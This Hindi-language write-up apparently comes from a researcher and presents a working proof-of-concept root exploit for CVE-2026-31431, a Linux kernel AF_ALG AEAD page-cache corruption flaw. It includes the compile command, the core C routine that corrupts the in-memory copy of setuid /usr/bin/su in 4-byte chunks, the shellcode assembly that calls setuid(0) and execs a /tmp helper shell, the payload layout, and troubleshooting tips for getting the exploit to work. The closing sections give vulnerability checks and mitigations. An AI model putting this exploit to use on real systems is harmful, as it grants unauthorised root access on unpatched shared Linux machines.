
CVE-2026-31431 के लिए कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो AF_ALG AEAD पेज कैश भ्रष्टाचार के माध्यम से Linux कर्नेल में स्थानीय विशेषाधिकार वृद्धि है, जो रूट शेल प्रदान करता है।
2026-04-29 — मैं इस एक्सप्लॉइट को MyDigitalLife फ़ोरम पर साझा करने के एक दिन बाद प्रकाशित कर रहा हूँ। इसे Python की आवश्यकता नहीं है; यह C में लिखा गया है और निम्न का उपयोग करके सबसे छोटे संभव आकार में संकलित किया गया है:
musl-gcc -static -Os -o exploit exploit.c -sगंभीर खतरा। एक्सप्लॉइट बाइनरी बिना निर्भरता के संकलित है और किसी भी Linux सिस्टम पर कमजोरियों का परीक्षण करने के लिए उपयोग की जा सकती है
CVE-2026-31431 Linux कर्नेल में NIST-पुष्टि की गई एक कमजोरी है जो एक अन-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता को सेकंडों में
rootशेल प्राप्त करने की अनुमति देती है। CVE-2026-31431 के लिए सार्वजनिक रूप से प्रसारित एक्सप्लॉइट के मद्देनज़र, मैंने अपने आंतरिक बुनियादी ढांचे के जोखिम का मूल्यांकन करने के लिए एक बाइनरी प्रूफ-ऑफ-कॉन्सेप्ट (PoC) विकसित किया है। जबकि कुछ वातावरण su के उपयोग को प्रतिबंधित करते हैं, यह कमजोरी साझा सर्वरों के लिए विशेष रूप से महत्वपूर्ण है क्योंकि यह अंतर्निहित कर्नेल मेमोरी प्रबंधन को लक्षित करती है। परिणामस्वरूप, कोई भी SETUID बाइनरी — जिसमें sudo, passwd, mount, या newgrp शामिल हैं — का उपयोग एक्सप्लॉइट को ट्रिगर करने और root शेल प्रदान करने के लिए किया जा सकता है। कर्नेल को पैच करने के लिए तत्काल प्रशासनिक कार्रवाई आवश्यक है, क्योंकि मानक उपयोगकर्ता-स्थान प्रतिबंध इस खतरे को कम करने के लिए अपर्याप्त हैं। अनपैच्ड कर्नेल चलाने वाला कोई भी Linux सिस्टम जोखिम में है।
मेरा अपना कार्यशील एक्सप्लॉइट · Linux कर्नेल · AF_ALG क्रिप्टोग्राफ़िक इंटरफ़ेस (AEAD)
डिस्क पर फ़ाइल को छुए बिना कर्नेल पेज कैश में /usr/bin/su को प्रतिस्थापित करता है
स्थानीय शेल एक्सेस पर्याप्त है — कोई अतिरिक्त विशेषाधिकार आवश्यक नहीं
अनपैच्ड Linux वितरणों को प्रभावित करता है

CVE-2026-31431 Linux कर्नेल क्रिप्टोग्राफ़िक सबसिस्टम में स्कैटर-गैदर I/O संचालन और पेज कैश संदर्भों के प्रबंधन में एक बग है — विशेष रूप से AEAD एल्गोरिदम के लिए AF_ALG सॉकेट कार्यान्वयन में (crypto/af_alg.c, crypto/aead.c)।
Linux कर्नेल AF_ALG सॉकेट के माध्यम से उपयोगकर्ता स्थान पर एक क्रिप्टोग्राफ़िक इंटरफ़ेस उजागर करता है। कमजोरी इस तथ्य में निहित है कि AEAD डिक्रिप्शन ऑपरेशन के दौरान, कर्नेल डिक्रिप्शन आउटपुट को अस्थायी बफर के बजाय सीधे स्रोत फ़ाइल के पेज कैश पृष्ठों पर मैप करता है। एक हमलावर इस प्रकार डिस्क पर संशोधित किए बिना, root विशेषाधिकारों के बिना, और फाइलसिस्टम में कोई दृश्यमान निशान छोड़े बिना किसी भी फ़ाइल की इन-मेमोरी सामग्री को अधिलेखित कर सकता है।
एक्सप्लॉइट में दो घटक होते हैं: /tmp/x पर एक सहायक स्क्रिप्ट और AF_ALG पर आधारित एक भ्रष्टाचार लूप। स्रोत कोड विश्लेषण पर आधारित एक सटीक वॉकथ्रू निम्नलिखित है:
1. सहायक स्क्रिप्ट सेटअप
एक्सप्लॉइट निम्नलिखित सामग्री के साथ /tmp/x बनाता है:
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
यह अनुमतियों को 0755 पर सेट करता है। कारण: /usr/bin/su लॉन्च पर पर्यावरण चर (TERM सहित) हटा देता है। सहायक स्क्रिप्ट वास्तविक शेल शुरू करने से पहले उन्हें पुनर्स्थापित करती है, जिससे एक कार्यशील टर्मिनल सुनिश्चित होता है।
2. ELF पेलोड निर्माण
कच्चे शेलकोड वाला एक न्यूनतम 158-बाइट x86_64 ELF बाइनरी मेमोरी में बनाया गया है। ऑफसेट 150 पर स्ट्रिंग /bin/sh को फिर memcmp/memcpy के माध्यम से /tmp/x\0 में पैच किया जाता है। विवरण के लिए ELF पेलोड देखें।
3. /usr/bin/su को केवल-पठन मोड में खोलना
int su_fd = open("/usr/bin/su", O_RDONLY);
फ़ाइल केवल-पठन मोड में खोली जाती है — एक्सप्लॉइट को किसी भी लेखन अनुमति की आवश्यकता नहीं होती है।
4. भ्रष्टाचार लूप — 4 बाइट्स के 39 पुनरावृत्तियाँ
पेलोड (158 बाइट्स) को 4-बाइट चंक्स (39 पूर्ण चंक्स) में संसाधित किया जाता है। प्रत्येक चंक corrupt_binary_chunk() के माध्यम से पारित किया जाता है, जो निम्न कार्य करता है:
AF_ALG सॉकेट बनाता है (SOCK_SEQPACKET)authencesn(hmac(sha256),cbc(aes)) से बाइंड करता है — एक यौगिक AEAD एल्गोरिदमop_sock) स्वीकार करता है'A' + 4 पेलोड बाइट्स) और तीन CMSGs के साथ sendmsg भेजता है: ALG_OP_DECRYPT, IV (20 बाइट्स), assoclen=8splice करता है: su_fd → pipe → op_sock (कर्नेल के माध्यम से ज़ीरो-कॉपी)recv() के माध्यम से अंतिम रूप देता है — यहीं पर कर्नेल गलती से पेज कैश को अधिलेखित कर देता है5. निष्पादन
execve("/usr/bin/su", args, NULL);
कर्नेल /usr/bin/su को पेज कैश के माध्यम से लोड करता है — जो अब ज़हरीला हो चुका है। SUID बिट (chmod u+s) बरकरार है, इसलिए कर्नेल फ़ाइल को root के रूप में निष्पादित करता है। शेलकोड setuid(0) → execve("/tmp/x") → इंटरैक्टिव root शेल चलाता है।
flowchart TD
A[अन-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता] --> B["/tmp/x सहायक स्क्रिप्ट बनाता है\nchmod 0755"]
B --> C["158-बाइट ELF पेलोड बनाता है\nपैच: /bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\nकोई लेखन अनुमति आवश्यक नहीं"]
D --> E[लूप: 4 बाइट्स के 39 चंक्स]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: 72B कुंजी + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg: 8B डेटा + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd → pipe → op_sock\nकर्नेल के माध्यम से ज़ीरो-कॉपी"]
K --> L[recv → AEAD ऑपरेशन अंतिम रूप देता है]
L --> M["कर्नेल बग: डिक्रिप्शन आउटपुट\nsu_fd के पेज कैश को अधिलेखित करता है"]
M --> N{अगला चंक?}
N -->|हाँ| E
N -->|नहीं| O["execve /usr/bin/su"]
O --> P["कर्नेल /usr/bin/su लोड करता है\nज़हरीले पेज कैश से"]
P --> Q["SUID बिट बरकरार\nकर्नेल root के रूप में निष्पादित करता है"]
Q --> R["शेलकोड: setuid 0 syscall 105"]
R --> S["execve /tmp/x syscall 59"]
S --> T[इंटरैक्टिव root शेल]
exploit.c के प्रमुख अनुभाग नीचे समीक्षा किए गए हैं:
corrupt_binary_chunk() फ़ंक्शनएक्सप्लॉइट का हृदय। प्रत्येक कॉल एक पूर्ण AF_ALG लेनदेन का समन्वय करता है:
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// AF_ALG सॉकेट बनाता है और AEAD authencesn(hmac(sha256),cbc(aes)) से बाइंड करता है
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// 72-बाइट कुंजी + प्रमाणीकरण टैग आकार = 4 बाइट्स
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// बफर: 4x 'A' संबद्ध डेटा के रूप में + 4 पेलोड बाइट्स
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 CMSGs: DECRYPT ऑपरेशन / IV (20B, पहला बाइट 0x10) / assoclen=8
// MSG_MORE के साथ sendmsg — डेटा अभी पूर्ण नहीं है
sendmsg(op_sock, &msg, MSG_MORE);
// ज़ीरो-कॉपी splice: su_fd → pipe → op_sock (offset+4 बाइट्स)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv ऑपरेशन को अंतिम रूप देता है — कर्नेल यहाँ गलती से su_fd के पेज कैश में लिखता है
recv(op_sock, dummy, 8 + offset, 0);
}
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // अंतिम 2 बाइट्स छोड़ देता है (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 पूर्ण चंक्स × 4 बाइट्स = 156 बाइट्स लागू
पेलोड कच्चे शेलकोड वाला एक स्व-निहित 158-बाइट x86_64 ELF बाइनरी है — कोई डायनामिक लिंकर नहीं, कोई बाहरी लाइब्रेरी नहीं।
; ऑफसेट 120 — प्रवेश बिंदु 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; syscall setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (ऑफसेट 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; syscall execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; syscall exit(0)
syscall
; ऑफसेट 150
db "/tmp/x", 0, 0 ; ("/bin/sh\0" से पैच किया गया)
uname -r
आउटपुट की तुलना NIST द्वारा प्रकाशित कमजोर संस्करणों की सूची से करें: nvd.nist.gov/vuln/detail/CVE-2026-31431
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG उपलब्ध — सिस्टम कमजोर हो सकता है')"
यदि कमांड [Errno 97] Address family not supported लौटाता है — मॉड्यूल अक्षम है और जोखिम काफी कम है।
/usr/bin/su पर SUID जाँचेंls -la /usr/bin/su
यदि s बिट मौजूद है (जैसे -rwsr-xr-x) — /usr/bin/su पर SUID सेट है और यह हमले का वेक्टर है।
# AF_ALG मॉड्यूल अनलोड करें यदि आवश्यक नहीं है
sudo modprobe -r af_alg 2>/dev/null || echo "मॉड्यूल कर्नेल में निर्मित है — अनलोड नहीं किया जा सकता"
# वैकल्पिक रूप से — SUID अस्थायी रूप से हटाएँ
sudo chmod u-s /usr/bin/su
यह अनुभाग सुरक्षा शोधकर्ताओं के लिए है जो एक पृथक वातावरण में कमजोरी का विश्लेषण कर रहे हैं।
socket() या bind() विफल हो जाता हैलक्षण: perror("socket") या perror("bind") निकास को ट्रिगर करता है।
कारण:
AF_ALG या authencesn एल्गोरिदम के लिए समर्थन नहीं है — जाँचें: cat /proc/crypto | grep authencesnsudo modprobe hmac sha256 cbc aead authencesnAF_ALG सॉकेट निर्माण को अवरुद्ध कर रहा है — लॉग जाँचें: dmesg | tail -20splice() EPERM / EINVAL लौटाता हैलक्षण: स्प्लिस ऑपरेशन कर्नेल द्वारा अस्वीकार कर दिया गया।
कारण:
su_fd एक नियमित फ़ाइल की ओर इशारा करता है, सिमलिंक या डिवाइस नहींdmesg जाँचेंexecve एक सामान्य उपयोगकर्ता शेल शुरू करता हैलक्षण: कोई root प्रॉम्प्ट नहीं; id मूल UID दिखाता है।
कारण:
/usr/bin/su में SUID बिट गायब है — ls -la /usr/bin/su, s बिट दिखाई देना चाहिएexecve से पहले पेज कैश फ्लश हो सकता है — sync जोड़ें या लूप विलंब कम करें/tmp/x नहीं मिला या TERM गायब हैलक्षण: शेल शुरू होता है लेकिन टर्मिनल रेंडरिंग टूटी हुई है।
कारण:
/tmp लिखने योग्य है और noexec के साथ माउंट नहीं है/tmp/x में अनुमतियाँ 0755 होनी चाहिए — सत्यापित करें: ls -la /tmp/xexecve("/tmp/x") विफल हो जाता है — शेलकोड को सीधे /bin/sh का उपयोग करने के लिए फिर से पैच किया जा सकता हैचेतावनी: यह दस्तावेज़ केवल सूचनात्मक, शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित किया गया है। यह NIST द्वारा पहचाने गए और सुरक्षा समुदाय द्वारा रिपोर्ट किए गए एक सार्वजनिक रूप से ज्ञात खतरे का वर्णन करता है। उन सिस्टमों पर एक्सप्लॉइट चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है, लागू कानूनों का उल्लंघन कर सकता है और आपराधिक दायित्व का परिणाम हो सकता है। केवल पृथक प्रयोगशाला वातावरण में परीक्षण करें।
सभी ट्रेडमार्क उनके संबंधित स्वामियों की संपत्ति हैं। Linux और संबंधित चिह्न Linux Foundation के ट्रेडमार्क हैं।
अंतिम अद्यतन: 2026-04-29
| गुण | मान |
|---|
| पहचानकर्ता | CVE-2026-31431 |
| संदर्भ | NIST NVD |
| प्रकार | स्थानीय विशेषाधिकार वृद्धि (LPE) |
| घटक | Linux कर्नेल — AF_ALG / AEAD (authencesn) |
| आवश्यक पहुँच | अन-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता |
| प्रभाव | इंटरैक्टिव root शेल |
| एक्सप्लॉइट स्थिति | GitHub पर सार्वजनिक रूप से उपलब्ध कार्यशील PoC |
| स्थिरता | कोई नहीं — संशोधन केवल RAM में मौजूद है; रिबूट मूल स्थिति को पुनर्स्थापित करता है |
| सिस्टम | स्थिति |
|---|
| Ubuntu 24.04 (बेयर मेटल / VM) | ⚠️ अनपैच्ड कर्नेल पर कमजोर |
| Debian, Fedora, Arch अनपैच्ड कर्नेल पर | ⚠️ कमजोर |
CONFIG_SECURITY_LOCKDOWN_LSM वाले वितरण | ✅ संभवतः सुरक्षित |
nosuid या ProtectSUID (systemd) वाले सिस्टम | ✅ सुरक्षित |
AppArmor/SELinux द्वारा AF_ALG अवरुद्ध करने वाले सिस्टम | ✅ सुरक्षित |
| macOS, Windows (मूल) | ✅ प्रभावित नहीं |
| फ़ील्ड | विवरण |
|---|
| कुल आकार | 158 बाइट्स |
| ELF हेडर | 120 बाइट्स (e_type=2 EXEC, e_machine=62 x86_64) |
| प्रवेश बिंदु | 0x00400078 = ऑफसेट 120 (हेडर के तुरंत बाद) |
| शेलकोड | 30 बाइट्स (ऑफसेट 120–149) |
| लक्ष्य स्ट्रिंग | ऑफसेट 150 पर 8 बाइट्स (/bin/sh\0 → /tmp/x\0 में पैच किया गया) |
| 4-बाइट चंक्स | 39 पूर्ण (156 बाइट्स); अंतिम 2 बाइट्स छोड़ दिए गए |
| शमन | कैसे लागू करें | प्रभावशीलता |
|---|
| कर्नेल अपडेट | sudo apt update && sudo apt upgrade + रिबूट | ✅ पूर्ण (जब पैच उपलब्ध हो) |
| AF_ALG मॉड्यूल ब्लैकलिस्ट करें | echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf | ✅ हमले के वेक्टर को अवरुद्ध करता है |
su से SUID हटाएँ | sudo chmod u-s /usr/bin/su | ✅ इस एक्सप्लॉइट को अवरुद्ध करता है (ध्यान दें: su काम करना बंद कर देगा) |
/tmp को noexec के साथ माउंट करें | /etc/fstab संपादित करें: tmpfs /tmp tmpfs noexec,nosuid 0 0 | ⚠️ आंशिक — /tmp/x को अवरुद्ध करता है, एक्सप्लॉइट दूसरा पथ उपयोग कर सकता है |
| AppArmor / SELinux | अन-विशेषाधिकार प्राप्त उपयोगकर्ताओं के लिए AF_ALG socket अवरुद्ध करने वाला प्रोफ़ाइल | ✅ सही कॉन्फ़िगरेशन के साथ प्रभावी |